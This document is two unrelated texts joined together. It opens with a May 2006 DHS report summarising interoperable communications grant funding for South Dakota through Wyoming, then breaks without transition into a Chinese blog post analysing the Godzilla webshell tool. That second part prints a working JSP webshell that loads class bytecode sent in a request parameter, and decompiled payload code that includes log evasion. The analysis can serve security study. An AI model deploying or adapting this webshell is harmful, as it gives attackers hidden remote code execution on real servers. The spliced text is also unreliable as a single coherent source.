U.S. Department of Homeland Security
South Dakota Information
Interoperable Communications: DHS Funded Activities – South Dakota
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$0.00
FY 2004
$5,416,489.00
$2,152,002.00
$7,568,491.00
FY 2005
$100,000.00
$100,000.00
Total
$5,416,489.00
$2,252,002.00
$7,668,491.00
Current Interoperable Communications Initiatives
South Dakota is working to ensure that they have interoperable
communications throughout the state by updating their equipment and
placing towers/repeaters. Their major concern is that with rural nature of
their state. As a result, they have been creative is setting up their systems.
South Dakota continues to
improve their communications
to ensure that they can
communicate within the
counties as well as throughout
the state.
Homeland Security Grant Program Allocations
$0
$1
$2
$3
$4
$5
$6
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
South Dakota State Summary
106
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Tennessee State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
107
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Tennessee Information
Interoperable Communications: DHS Funded Activities – Tennessee
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$2,908,186.86
$2,908,186.86
FY 2004
$17,016,172.62
$1,702,928.00
$18,719,100.62
FY 2005
$11,120,086.13
$1,821,941.50
$12,942,027.63
Total
$31,044,445.61
$3,524,869.50
$34,569,315.11
Current Interoperable Communications Initiatives
• $1,701,567 in FY 2004 HSGP funds for conversion of State low
band towers to 800 MHz in all counties.
• $1,189,228 in FY 2004 HSGP funds to purchase the necessary equipment for the
backbone of a 450 MHz Trunking Communication System for all counties in TN
Homeland Security District 7.
• $1,374,749 in FY 2005 HSGP funds to purchase equipment which will allow police, fire,
EMA, utility, and health services to communicate with each other while responding to a
CBRNE incident within Memphis and Shelby County.
• $480,000 in FY 2005
HSGP funds to complete
communications
infrastructure build-out
in Sumner County and
TN Homeland Security
District 5 that includes
four new 180 ft.
communication towers.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
$16
$18
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Tennessee State Summary
108
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Texas State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
109
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Texas Information
Interoperable Communications: DHS Funded Activities – Texas
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$5,264,000.00
$5,264,000.00
FY 2004
$56,911,078.87
$6,476,206.74
$63,387,285.61
FY 2005
$61,040,455.00
$7,137,963.00
$68,178,418.00
Total
$123,215,533.87
$13,614,169.74
$136,829,703.61
Current Interoperable Communications Initiatives
The biggest priority for Texas is to establish a
statewide network of interoperable radio systems
by January 2007. All jurisdictions/regions within
the state must reach level-four interoperability by
January 2007, and all future communications
equipment must meet those standards as well. Level-four interoperability
means that all disciplines can go anywhere in the state and have
immediate radio communications with each other using their own equipment on established
channels. The interoperability is being tested during the real-life wildfires currently taking place
across the state, will also be tested during the statewide hurricane exercise scheduled in May, and
will be incorporated into all future exercises conducted within the state.
Another interoperable communications project in the state is the purchase and use of the
WebEOC system. While it is not mandatory, it is highly encouraged and is being utilized by
many of the large cities throughout the state. The WebEOC system is server-based and allows
electronic collaboration between
the EOCs, including posting of
emergency operations plans
(EOPs) and sharing of situation
reports (SITREPS). It allows
users to see what other EOCs
are doing, and the information is
available much quicker using
the system.
Homeland Security Grant Program Allocations
$0
$10
$20
$30
$40
$50
$60
$70
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
RapidCom
Participant
• Houston
Texas State Summary
110
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Utah State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
111
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Utah Information
Interoperable Communications: DHS Funded Activities – Utah
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$3,622,372.00
$3,622,372.00
FY 2004
$10,233,825.81
$870,816.00
$11,104,641.81
FY 2005
$5,729,202.09
$1,070,180.00
$6,799,382.09
Total
$19,585,399.90
$1,940,996.00
$21,526,395.90
Current Interoperable Communications Initiatives
The State EOC is working on the capacity to receive streaming video and audio
feeds from on scene units engaged in crisis response. This inexpensive use of
current technology would provide State and Federal officials the ability to ensure
seamless response and recovery efforts across multiple jurisdictions.
The system is fully scalable and can be up-linked to multiple state or federal
command centers where communications bridges have been created. The State continues to
focus energies on broadening this significant capability through multiple funding streams.
In order to create this level of interoperability, the Utah Department of Public Safety is focusing
technology development resources on three major areas. The first area is the integration of voice
communications between all agencies in the state. Network integration is the second area where
development resources are being used. Data sharing between the different agencies in the state is
the third area of focus.
The voice and network
integration projects are the top
priority of the state and consume
the majority of the resources
allocated to the state under
department of homeland security
grants. With current levels of
funding, completion of the data-
sharing project is at least two
years away. If the proposed
project is funded the whole
system could serve as a model
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Utah State Summary
112
State Interoperable Communications: DHS Funded Activities
May 2006
for other states and the federal government seeking to implement similar capabilities.
Utah is the Interim Co-Chair of the Four Corners Homeland Security Coalition. The State Co-
Chairs the Coalition of four states (Utah, Colorado, New Mexico, and Arizona), 15 Local
Counties and ultimately 22 tribes within the Four Corners Region. The first priority of the
Coalition is to expand interoperable communications to ensure full integration of all jurisdictions
in this overlap area.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Vermont State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
113
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Vermont Information
Interoperable Communications: DHS Funded Activities – Vermont
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$2,653,726.00
$2,653,726.00
FY 2004
$4,567,535.29
$1,220.00
$4,568,755.29
FY 2005
$2,605,035.23
$2,605,035.23
Total
$9,826,296.52
$1,220.00
$9,827,516.52
Current Interoperable Communications Initiatives
Vermont invested approximately $9m of State funds to bolster existing public safety
radio communications by installing a new digital microwave network and upgraded
the Vermont State Police (VSP) two-way radio system and mobile data network
Vermont has invested in a variety of solutions to support interoperability within the
State which include the provision of command radios in Fire, EMS and Vermont
State Police vehicles, as well as new towers, repeaters, and dispatch consoles.
Approximately 90% of all local and State law enforcement agencies in Vermont can
communicate by “flipping” a switch on their mobile radios. Vermont State Police (VSP) has the
ability to communicate with emergency medical and fire services from their cruisers and four
dispatch centers. Over 50% of these first responders have the ability to communicate with the
VSP dispatch centers.
In May 2006, Vermont will
activate its Statewide web-
enabled virtual Emergency
Operation Center system. This
interoperable communication
system will allow the State to
share data, gather instant
situational awareness, tie into
HSIN, and communicate with
first responder agencies and
state agencies during events.
Homeland Security Grant Program Allocations
$0.0
$0.5
$1.0
$1.5
$2.0
$2.5
$3.0
$3.5
$4.0
$4.5
$5.0
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Vermont State Summary
114
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Virgin Islands State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
115
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Virgin Islands Information
Interoperable Communications: DHS Funded Activities – Virgin Islands
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$0.00
FY 2004
$715,000.00
$300,000.00
$1,015,000.00
FY 2005
$580,000.00
$270,000.00
$850,000.00
Total
$1,295,000.00
$570,000.00
$1,865,000.00
Current Interoperable Communications Initiatives
The Territory of the US Virgin Islands continues to build out its
interoperable communications infrastructure including Government
Wide Area Network (GWAN) which will provide data connectivity
and satellite based voice communications for first responder
agencies. With the islands as much as 40 miles apart, completion of
this system will ensure a secure communications capability for
response activities. The Territory has already deployed several
communications vehicles that can establish voice and data
communications on each of the islands within one hour of an
incident.
Homeland Security Grant Program Allocations
$0.0
$0.1
$0.2
$0.3
$0.4
$0.5
$0.6
$0.7
$0.8
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
U.S. Virgin Islands State Summary
116
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Virginia State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
117
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Virginia Information
Interoperable Communications: DHS Funded Activities – Virginia
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$7,509,112.17
$7,509,112.17
FY 2004
$15,458,059.04
$2,243,469.10
$17,701,528.14
FY 2005
$7,363,528.01
$881,692.02
$8,245,220.03
Total
$30,330,699.22
$3,125,161.12
$33,455,860.34
Current Interoperable Communications Initiatives
• FY 2004: $989,000 by the Virginia State Police for the
STARS project (Statewide Agency Radio System) and in
conjunction with this VDOT spent $79,000 for the same
project . This will allow all state agencies to communicate
with each other in times of disasters and it has been
expanded to local governments at this time.
• $3,313,000 in the greater Richmond area to purchase a vehicle repeater system, upgrade
dispatch consoles, and procure other essential communications equipment that will also
the Capitol Police to communicate with neighboring Richmond jurisdictions.
• FY 2005: $7,363,000 to replace or enhance critical, basic interoperable communications
equipment for local law
enforcement, fire, and
EMS throughout the
counties of the state.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
$16
$18
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Virginia State Summary
118
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Washington State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
119
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Washington Information
Interoperable Communications: DHS Funded Activities – Washington
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$6,924,265.76
$6,924,265.76
FY 2004
$15,027,238.00
$3,789,554.00
$18,816,792.00
FY 2005
$9,558,695.00
$2,561,757.40
$12,120,452.40
Total
$31,510,198.76
$6,351,311.40
$37,861,510.16
Current Interoperable Communications Initiatives
Seattle UASI is working on several urban wide projects that span
multiple grant years.
• Fiber Optic project: For UASI II and 04 UASI the state will be
laying or tapping into existing fiber optic cable networks to
provide communication infrastructure for the EOCs and seats of government of the Urban
Area partners. The project is near completion and will allow connection from the
Snohomish County EOC and County Executive’s Office to the Governor’s Office in
Olympia. The project also includes the purchase of comparable satellite phones for each
site
• Helicopter Downlink
project: Out of 04 UASI
funding the aviation
assets and EOCs for each
of the Urban Area
partners is being fitted
with video downlink
capability. This will
allow video images from
helicopters in any of the
jurisdictions to transmit
images to any or all of
the EOCs in the urban
area.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
$16
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Washington State Summary
120
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
West Virginia State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
121
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
West Virginia Information
Interoperable Communications: DHS Funded Activities – West Virginia
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$11,603,377.00
$11,603,377.00
FY 2004
$5,314,839.20
$5,314,839.20
FY 2005
$8,455,278.00
$8,455,278.00
Total
$25,373,494.20
$0.00
$25,373,494.20
Current Interoperable Communications Initiatives
West Virginia has implemented a statewide interoperable
communications project using a digital trunked radio system which
utilizes a microwave communications backbone within the State. When
completed, the communications system will enable first responders to
maintain interoperable communications throughout WV. This system has
been implemented at key locations statewide, and is fully functional in the
areas where the backbone and trunked sites have been completed, to date.
Also, WV is cooperatively working with the surrounding States to implement interoperable
communications capability.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
West Virginia State Summary
122
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Wisconsin State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
123
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Wisconsin Information
Interoperable Communications: DHS Funded Activities – Wisconsin
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$3,532,168.70
$3,532,168.70
FY 2004
$25,995,264.83
$38,195.00
$26,033,459.83
FY 2005
$7,601,120.45
$11,850.01
$7,612,970.46
Total
$37,128,553.98
$50,045.01
$37,178,598.99
Current Interoperable Communications Initiatives
•
Wisconsin has taken a regional approach with regard to communications
interoperability. Wisconsin’s approach acknowledges that any statewide
interoperable system must build on existing local systems, and these local
systems vary according to the needs of different regions of the state.
Consequently, the state has encouraged the development of regional
interoperability groups that will link at key exchange points. Several regional
groups have already formed, including the Northeast Wisconsin
Communications (NEWCOM) group, the West Central Interoperability Alliance (WCIA), the
Northwest Radio Users (NWIOU), the Fox Valley Communications (FOXCOM) group, a central
three-county effort, and a southeast Wisconsin regional group. Together these regional efforts
account for 58 of Wisconsin’s 72 counties, and region-based funding initiatives are encouraging
the regionalization of the remainder of the counties.
•
Wisconsin is in the process of completing a statewide interoperability strategic plan. This plan
will help define operational and technical specifications to ensure performance standards are met,
and establishing networking standards by December 2006. In 2004, the Wisconsin Office of
Justice Assistance (OJA) contracted with Federal Engineering, Inc. to conduct a statewide study
of interoperable radio
communication capabilities
in Wisconsin and provide
recommendations to guide
development of a statewide
interoperability strategy.
Report recommendations
resulted in the award of
grants totaling $1.8 million
for region-specific
engineering studies.
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
$30
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Wisconsin State Summary
124
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Wyoming State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
125
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Wyoming Information
Interoperable Communications: DHS Funded Activities – Wyoming
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$5,626,630.41
$5,626,630.41
FY 2004
$10,254,498.00
$1,628,167.00
$11,882,665.00
FY 2005
$6,675,108.00
$6,675,108.00
Total
$22,556,236.41
$1,628,167.00
$24,184,403.41
Current Interoperable Communications Initiatives
Stopgap systems employed to provide on scene crisis communications:
A number of subgrantees have expanded their Command and Control
capacities through the purchase of mobile command posts and interoperable
communications suites. The state has purchased 7 ACU 1000 Interconnect
communications system which allows disparate communications systems to
work seamlessly on crisis scenes and has allowed the state to achieve 100%
interoperability during high threat or crisis events.
Long term strategy and investments into WYO-LINK to provide fully integrated IOC:
The state has continued to expand the WYO-LINK Project, a unique initiative to ensure a
comprehensive interoperable communications system throughout the State of Wyoming. The
approach for this initiative included the creation of a specific steering committee dedicated to the
administration of this project. WYO-LINK will connect all radio frequencies in the state through
57 radio sites around Wyoming. All disciplines are included in the project which will include a
high-band, digital radio network that will link current systems, old or new, but will not take away
any current systems. Public
safety agencies will move into
the system at their own pace.
This initiative will cost
approximately $51 million
dollars to complete and will be
funded partially by G&T funds
and partially by Wyoming State
funds. FY05 G&T funds are
almost exclusively dedicated to
interoperable communications
through this and other
equipment initiatives.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Wyoming State Summary
126
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
May 2006
State Interoperable Communications: DHS Funded Activities
127
128
State Interoperable Communications: DHS Funded Activities
May 2006 | pdf |
写了好久的文章,放出来吧
前言
注入内存马借助当前的webshell工具而言,冰蝎可以通过创建hashmap放入request、response、
session替换pagecontext来解决
HttpSession session = lastRequest.getSession();
pageContext.put("request", lastRequest);
pageContext.put("response", lastResponse);
pageContext.put("session", session);
能这么写的原因是因为冰蝎做了处理
会从传入的obj中分别取到request、response、session。
而哥斯拉没有这么做,如何破局?
哥斯拉连接分析
哥斯拉是基于动态加载class字节码实现的webshell工具。
先看一下jsp的shell
<%! String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
....省略加密解密的函数....
%>
<%
try {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new
X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new
java.io.ByteArrayOutputStream();
Object f=((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
}
%>
先判断session中payload是否为空,如果为空就用classloader加载解密之后的字节码data。
如果不为空将data赋值到session的parameters参数,然后从session中拿到定义的payload类,创
建实例再进行了两次equals和一次tostring,两次equals分别传入ByteArrayOutputStream和
pageContext。
通过bp代理看一下“测试连接”的过程
点完测试连接后bp多了两个请求
再点success的确定按钮后又多了一个请求。
一共三个请求,这三个请求分别干了什么?
为了调试,我们需要反编译哥斯拉源码找到
godzilla\shells\payloads\java\assets\payload.classs 文件,反编译回来后在idea项目中创建一
个payload类,将源码粘贴进去。另外还需要关闭idea的自动tostring。
然后修改jsp让其加载我们自己的payload.class而非从session中加载
<%
try {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new
X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new
java.io.ByteArrayOutputStream();
Object f = ((Class) Class.forName("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
}
%>
payload类结构
payload类是哥斯拉的功能实现类,其中有多个函数比如文件操作、命令执行等功能实现
而入口在equals()函数
handle()是真正的逻辑,noLog是不记录tomcat连接日志的函数。进入handle看下
public boolean handle(Object obj) {
if (obj == null) {
return false;
} else {
Class streamClazz = ByteArrayOutputStreamClazz;
if (streamClazz == null) {
try {
streamClazz = Class.forName("java.io.ByteArrayOutputStream");
} catch (ClassNotFoundException var7) {
throw new NoClassDefFoundError(var7.getMessage());
}
ByteArrayOutputStreamClazz = streamClazz;
}
if (streamClazz.isAssignableFrom(obj.getClass())) {
this.outputStream = (ByteArrayOutputStream) obj;
return false;
} else {
if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) {
this.servletRequest = obj;
} else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {
this.servletRequest = obj;
} else {
streamClazz = byteArrayClazz;
if (streamClazz == null) {
try {
streamClazz = Class.forName("[B");
} catch (ClassNotFoundException var6) {
throw new NoClassDefFoundError(var6.getMessage());
}
byteArrayClazz = streamClazz;
}
if (streamClazz.isAssignableFrom(obj.getClass())) {
this.requestData = (byte[]) obj;
} else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) {
this.httpSession = obj;
}
}
this.handlePayloadContext(obj);
if (this.servletRequest != null && this.requestData == null) {
Object var10001 = this.servletRequest;
Class[] var10003 = new Class[1];
Class var10006 = stringClazz;
if (var10006 == null) {
try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var5) {
throw new NoClassDefFoundError(var5.getMessage());
}
stringClazz = var10006;
}
var10003[0] = var10006;
Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute",
var10003, new Object[]{"parameters"});
if (retVObject != null) {
streamClazz = byteArrayClazz;
if (streamClazz == null) {
try {
streamClazz = Class.forName("[B");
} catch (ClassNotFoundException var4) {
throw new NoClassDefFoundError(var4.getMessage());
}
byteArrayClazz = streamClazz;
}
if (streamClazz.isAssignableFrom(retVObject.getClass())) {
